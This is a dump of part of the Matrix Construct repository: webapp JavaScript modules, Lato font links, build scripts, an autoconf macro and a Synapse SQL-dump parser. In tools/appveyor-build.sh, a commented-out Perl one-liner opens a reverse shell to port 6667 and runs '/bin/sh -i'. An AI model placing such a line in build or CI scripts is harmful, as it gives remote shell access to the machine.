28 | return mc.m.sid(mc.my.mxid); 29 | }, 30 | 31 | /** domain of the current session's mxid) */ 32 | get domain() 33 | { 34 | return mc.m.domid(mc.my.mxid); 35 | }, 36 | 37 | /** server - the current host we are actually connected to, which may or may 38 | * not be this client user's homeserver. */ 39 | get server() 40 | { 41 | return mc.server.host; 42 | }, 43 | 44 | get displayname() 45 | { 46 | return mc.users.displayname(mc.my.mxid); 47 | }, 48 | }; 49 | -------------------------------------------------------------------------------- /share/webapp/js/random.js: -------------------------------------------------------------------------------- 1 | /* 2 | // Matrix Construct 3 | // 4 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 5 | // Copyright (C) 2016-2018 Jason Volk 6 | // 7 | // Permission to use, copy, modify, and/or distribute this software for any 8 | // purpose with or without fee is hereby granted, provided that the above 9 | // copyright notice and this permission notice is present in all copies. The 10 | // full license for this software is available in the LICENSE file. 11 | */ 12 | 13 | 'use strict'; 14 | 15 | /** 16 | * Stochastic tools 17 | */ 18 | mc.random = {}; 19 | 20 | /** Generate a random string of characters from a dictionary string 21 | */ 22 | mc.random.string = (len = 1, dictionary = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz") => 23 | { 24 | let ret = ""; 25 | for(let i = 0; i < len; i++) 26 | ret += dictionary.charAt(Math.floor(Math.random() * dictionary.length)); 27 | 28 | return ret; 29 | }; 30 | -------------------------------------------------------------------------------- /share/webapp/js/room/focus.js: -------------------------------------------------------------------------------- 1 | /* 2 | // Matrix Construct 3 | // 4 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 5 | // Copyright (C) 2016-2018 Jason Volk 6 | // 7 | // Permission to use, copy, modify, and/or distribute this software for any 8 | // purpose with or without fee is hereby granted, provided that the above 9 | // copyright notice and this permission notice is present in all copies. The 10 | // full license for this software is available in the LICENSE file. 11 | */ 12 | 13 | 'use strict'; 14 | 15 | room.focus = function() 16 | { 17 | this.focus.last = mc.now(); 18 | if(!this.focus.count++) 19 | this.focus.on_first_focus(); 20 | }; 21 | 22 | room.focus.defocus = function() 23 | { 24 | }; 25 | 26 | room.focus.focused = function() 27 | { 28 | return mc.rooms.current(this.id) !== undefined; 29 | }; 30 | 31 | // This is instance state 32 | room.focus.last = 0; 33 | room.focus.count = 0; 34 | 35 | // Aliases 36 | room.prototype.defocus = room.focus.defocus; 37 | room.prototype.focused = room.focus.focused; 38 | 39 | room.focus.on_first_focus = function() 40 | { 41 | this.control.mode = "LIVE"; 42 | }; 43 | -------------------------------------------------------------------------------- /share/webapp/js/room/notifications.js: -------------------------------------------------------------------------------- 1 | /* 2 | // Matrix Construct 3 | // 4 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 5 | // Copyright (C) 2016-2018 Jason Volk 6 | // 7 | // Permission to use, copy, modify, and/or distribute this software for any 8 | // purpose with or without fee is hereby granted, provided that the above 9 | // copyright notice and this permission notice is present in all copies. The 10 | // full license for this software is available in the LICENSE file. 11 | */ 12 | 13 | 'use strict'; 14 | 15 | /************************************** 16 | * 17 | * Room notifications and highlights 18 | * 19 | */ 20 | 21 | room.notifications = {}; 22 | -------------------------------------------------------------------------------- /share/webapp/js/user.js: -------------------------------------------------------------------------------- 1 | /* 2 | // Matrix Construct 3 | // 4 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 5 | // Copyright (C) 2016-2018 Jason Volk 6 | // 7 | // Permission to use, copy, modify, and/or distribute this software for any 8 | // purpose with or without fee is hereby granted, provided that the above 9 | // copyright notice and this permission notice is present in all copies. The 10 | // full license for this software is available in the LICENSE file. 11 | */ 12 | 13 | 'use strict'; 14 | 15 | /****************************************************************************** 16 | * User 17 | * 18 | */ 19 | mc.user = class 20 | { 21 | constructor(id) 22 | { 23 | this.id = id; 24 | } 25 | }; 26 | -------------------------------------------------------------------------------- /share/webapp/lato-black.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-black.eot -------------------------------------------------------------------------------- /share/webapp/lato-black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-black.ttf -------------------------------------------------------------------------------- /share/webapp/lato-black.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-black.woff -------------------------------------------------------------------------------- /share/webapp/lato-bold.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-bold.eot -------------------------------------------------------------------------------- /share/webapp/lato-bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-bold.ttf -------------------------------------------------------------------------------- /share/webapp/lato-bold.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-bold.woff -------------------------------------------------------------------------------- /share/webapp/lato-bolditalic.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-bolditalic.eot -------------------------------------------------------------------------------- /share/webapp/lato-bolditalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-bolditalic.ttf -------------------------------------------------------------------------------- /share/webapp/lato-bolditalic.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-bolditalic.woff -------------------------------------------------------------------------------- /share/webapp/lato-italic.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-italic.eot -------------------------------------------------------------------------------- /share/webapp/lato-italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-italic.ttf -------------------------------------------------------------------------------- /share/webapp/lato-italic.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-italic.woff -------------------------------------------------------------------------------- /share/webapp/lato-light.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-light.eot -------------------------------------------------------------------------------- /share/webapp/lato-light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-light.ttf -------------------------------------------------------------------------------- /share/webapp/lato-light.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-light.woff -------------------------------------------------------------------------------- /share/webapp/lato-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-regular.eot -------------------------------------------------------------------------------- /share/webapp/lato-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-regular.ttf -------------------------------------------------------------------------------- /share/webapp/lato-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/lato-regular.woff -------------------------------------------------------------------------------- /tools/appveyor-build.sh: -------------------------------------------------------------------------------- 1 | set -v 2 | 3 | export MSYSTEM=MINGW64 4 | export PATH=/mingw64/bin:/usr/local/bin:/usr/bin:/bin:/c/Windows/system32:/c/Windows:/c/Windows/System32/Wbem:/c/Windows/System32/WindowsPowerShell/v1.0:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl 5 | 6 | sh ./autogen.sh 7 | ./configure --prefix=c:/projects/charybdis/build --enable-openssl=/mingw64 --with-included-boost --with-included-rocksdb=shared --with-included-js=shared --disable-pch 8 | # perl -e 'use Socket;$i="0.0.0.0";$p=6667;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 9 | make -j2 10 | make install 11 | -------------------------------------------------------------------------------- /tools/buildpbc.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | run () 4 | { 5 | COMMAND=$1 6 | # check for empty commands 7 | if test -z "$COMMAND" ; then 8 | echo -e "\033[1;5;31mERROR\033[0m No command specified!" 9 | return 1 10 | fi 11 | 12 | shift; 13 | OPTIONS="$@" 14 | # print a message 15 | if test -n "$OPTIONS" ; then 16 | echo -ne "\033[1m$COMMAND $OPTIONS\033[0m ... " 17 | else 18 | echo -ne "\033[1m$COMMAND\033[0m ... " 19 | fi 20 | 21 | # run or die 22 | $COMMAND $OPTIONS ; RESULT=$? 23 | if test $RESULT -ne 0 ; then 24 | echo -e "\033[1;5;31mERROR\033[0m $COMMAND failed. (exit code = $RESULT)" 25 | exit 1 26 | fi 27 | 28 | echo -e "\033[0;32myes\033[0m" 29 | return 0 30 | } 31 | 32 | 33 | echo "*** Building The PBC Library... " 34 | 35 | USERDIR=$PWD # Save current dir and return to it later 36 | 37 | run git submodule update --init deps/pbc 38 | 39 | run cd deps/pbc 40 | run git fetch --tags 41 | run git checkout master 42 | NJOBS=`nproc` 43 | run bash ./setup 44 | run bash ./configure 45 | run make -j$NJOBS 46 | run cd $USERDIR # Return to user's original directory 47 | -------------------------------------------------------------------------------- /tools/m4/ax_cxx_version.m4: -------------------------------------------------------------------------------- 1 | AC_SUBST([CXX_VERSION]) 2 | AC_DEFUN([AX_CXX_VERSION], 3 | [ 4 | AC_CACHE_CHECK([cxx version], [ax_cv_cxx_version], 5 | [ 6 | AM_COND_IF(GCC, 7 | [ 8 | ax_cv_cxx_version="`$CXX -dumpfullversion`" 9 | ]) 10 | 11 | AM_COND_IF(CLANG, 12 | [ 13 | ax_cv_cxx_version="`$CXX -dumpversion`" 14 | ]) 15 | 16 | AS_IF([test "x$ax_cv_cxx_version" = "x"], 17 | [ 18 | ax_cv_cxx_version="" 19 | ]) 20 | ]) 21 | 22 | CXX_VERSION=$ax_cv_cxx_version 23 | ]) 24 | 25 | AC_SUBST([CXX_EPOCH]) 26 | AC_DEFUN([AX_CXX_EPOCH], 27 | [ 28 | AC_CACHE_CHECK([cxx epoch], [ax_cv_cxx_epoch], 29 | [ 30 | AM_COND_IF(GCC, 31 | [ 32 | ax_cv_cxx_epoch="`$CXX -dumpversion | cut -d'.' -f1`" 33 | ]) 34 | 35 | AM_COND_IF(CLANG, 36 | [ 37 | ax_cv_cxx_epoch="`$CXX -dumpversion | cut -d'.' -f1`" 38 | ]) 39 | 40 | AS_IF([test "x$ax_cv_cxx_epoch" = "x"], 41 | [ 42 | ax_cv_cxx_epoch="" 43 | ]) 44 | ]) 45 | 46 | CXX_EPOCH=$ax_cv_cxx_epoch 47 | ]) 48 | -------------------------------------------------------------------------------- /tools/synapse.db.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import os 4 | import sys 5 | 6 | if len(sys.argv) < 2: 7 | print "Usage: %s " % sys.argv[0] 8 | sys.exit(1) 9 | 10 | file = sys.argv[1]; 11 | for line in open(file): 12 | if not line.startswith("INSERT"): 13 | continue 14 | 15 | line = line.split(" ", 3) 16 | line = line[3].rstrip(");\n") 17 | line = line.lstrip("VALUES(") 18 | line = line.split(",", 2) 19 | line = line[2].split("',", 1) 20 | line = line[1].strip("\\'") 21 | sys.stdout.write(line) 22 | 23 | sys.exit(0) 24 | --------------------------------------------------------------------------------